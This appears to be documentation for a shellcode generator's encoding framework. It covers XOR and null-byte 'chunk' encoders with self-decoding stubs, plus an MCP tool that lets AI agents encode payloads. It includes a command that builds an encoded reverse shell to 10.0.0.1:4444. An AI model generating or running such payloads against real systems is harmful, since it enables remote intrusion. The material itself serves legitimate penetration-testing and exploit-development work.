Encoding
Encoding
ShellSNIP includes a pluggable post-compile encoding framework. Encoders receive the compiled shellcode bytearray and return a complete NASM program (a decoder stub plus the encoded payload as db directives), which ShellSnip.encode() re-compiles into the final self-decoding binary.
Encoders are registered in EncoderRegistry (app/encoders/registry.py, a singleton) and auto-registered on import of app.encoders (app/encoders/__init__.py).
xor
Single-byte XOR encoder (app/encoders/xor.py). Every byte is transformed as payload[i] ^ key.
- If
keyis omitted, the encoder scans0x01–0xFFfor the first value not present in the payload, guaranteeing a null-free result. - If
keyis provided and produces null bytes anywhere in the output,encode()raisesValueErrorlisting the offending offsets. key = 0x00is rejected (ValueError) since it is a no-op.- The decoder stub is loaded from
templates/decoders/{os}_{arch}/xor_decoder.asmand uses a jmp/call/pop pattern to locate its own encoded payload at runtime.
./generate.py --os posix --enc xor --enc-key 0x41 -o revshell.raw connect 10.0.0.1 4444
chunk
Sentinel-replacement encoder (app/encoders/chunk.py), inspired by the polymorphic chunking technique from Exploit-DB #51189. Every 0x00 byte in the payload is replaced with a sentinel byte; the decoder stub scans the payload at runtime and patches every sentinel occurrence back to 0x00.
- If
sentinelis omitted, the encoder tries0x90(NOP) first, then scans0x01–0xFFfor an unused value. - If
sentinelis provided and already appears in the payload,encode()raisesValueError. sentinel = 0x00is rejected since it is the byte being eliminated.- The decoder stub is loaded from
templates/decoders/{os}_{arch}/chunk_decoder.asm.
./generate.py --os win --enc chunk --enc-key 0x90 -o payload.raw exec calc.exe
CLI key mapping
The CLI maps the generic --enc-key flag to the encoder-specific parameter name: key for xor, sentinel for chunk (see generate.py).
Encoder metadata
Both encoders return a (nasm_code, metadata) tuple. metadata always includes encoder, original_size, encoded_size, and null_free; xor additionally reports key, and chunk reports sentinel and null_count.
Via the MCP server
The encode_shellcode tool accepts either pre-compiled hex bytes (input_type="hex") or ShellSNIP template/ASM code (input_type="asm", compiled first via the same NASM pipeline), plus encoder_params (e.g. {"key": 65} or {"sentinel": 144}). See MCP Server for the full tool reference.
Use list_encoders (CLI: encoder names are listed in --enc's choices; MCP: the list_encoders tool) to discover available encoders and their parameters at runtime.